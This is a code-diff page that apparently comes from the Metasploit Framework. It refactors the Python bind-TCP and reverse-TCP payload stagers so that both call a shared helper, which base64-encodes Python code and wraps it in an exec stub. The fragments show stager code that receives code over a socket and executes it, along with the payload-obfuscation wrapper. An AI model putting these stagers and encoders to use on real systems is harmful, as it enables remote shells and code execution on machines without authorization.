File tree Expand file tree Collapse file tree 3 files changed +21
-12
lines changed Expand file tree Collapse file tree 3 files changed +21
-12
lines changed Original file line number Diff line number Diff line change 3
3
4
4
module Msf ::Payload ::Python
5
5
6
+ #
7
+ # Encode the given python command in base64 and wrap it with a stub
8
+ # that will decode and execute it on the fly.
9
+ #
10
+ # @param cmd [String] The python code to execute.
11
+ # @return [String] Full python stub to execute the command.
12
+ #
13
+ def py_create_exec_stub ( cmd )
14
+ # Base64 encoding is required in order to handle Python's formatting
15
+ # requirements in the while loop
16
+ b64_stub = "import base64,sys;exec(base64.b64decode("
17
+ b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
18
+ b64_stub << Rex ::Text . encode_base64 ( cmd )
19
+ b64_stub << "')))"
20
+ b64_stub
21
+ end
22
+
6
23
end
Original file line number Diff line number Diff line change @@ -13,6 +13,7 @@ module Msf
13
13
14
14
module Payload ::Python ::BindTcp
15
15
16
+ include Msf ::Payload ::Python
16
17
include Msf ::Payload ::Python ::SendUUID
17
18
18
19
#
@@ -52,12 +53,7 @@ def generate_bind_tcp(opts={})
52
53
cmd << "\t d+=s.recv(l-len(d))\n "
53
54
cmd << "exec(d,{'s':s})\n "
54
55
55
- # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
56
- b64_stub = "import base64,sys;exec(base64.b64decode("
57
- b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
58
- b64_stub << Rex ::Text . encode_base64 ( cmd )
59
- b64_stub << "')))"
60
- b64_stub
56
+ py_create_exec_stub ( cmd )
61
57
end
62
58
63
59
def handle_intermediate_stage ( conn , payload )
Original file line number Diff line number Diff line change @@ -13,6 +13,7 @@ module Msf
13
13
14
14
module Payload ::Python ::ReverseTcp
15
15
16
+ include Msf ::Payload ::Python
16
17
include Msf ::Payload ::Python ::SendUUID
17
18
18
19
#
@@ -52,12 +53,7 @@ def generate_reverse_tcp(opts={})
52
53
cmd << "\t d+=s.recv(l-len(d))\n "
53
54
cmd << "exec(d,{'s':s})\n "
54
55
55
- # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
56
- b64_stub = "import base64,sys;exec(base64.b64decode("
57
- b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
58
- b64_stub << Rex ::Text . encode_base64 ( cmd )
59
- b64_stub << "')))"
60
- b64_stub
56
+ py_create_exec_stub ( cmd )
61
57
end
62
58
63
59
def handle_intermediate_stage ( conn , payload )
You can’t perform that action at this time.
0 commit comments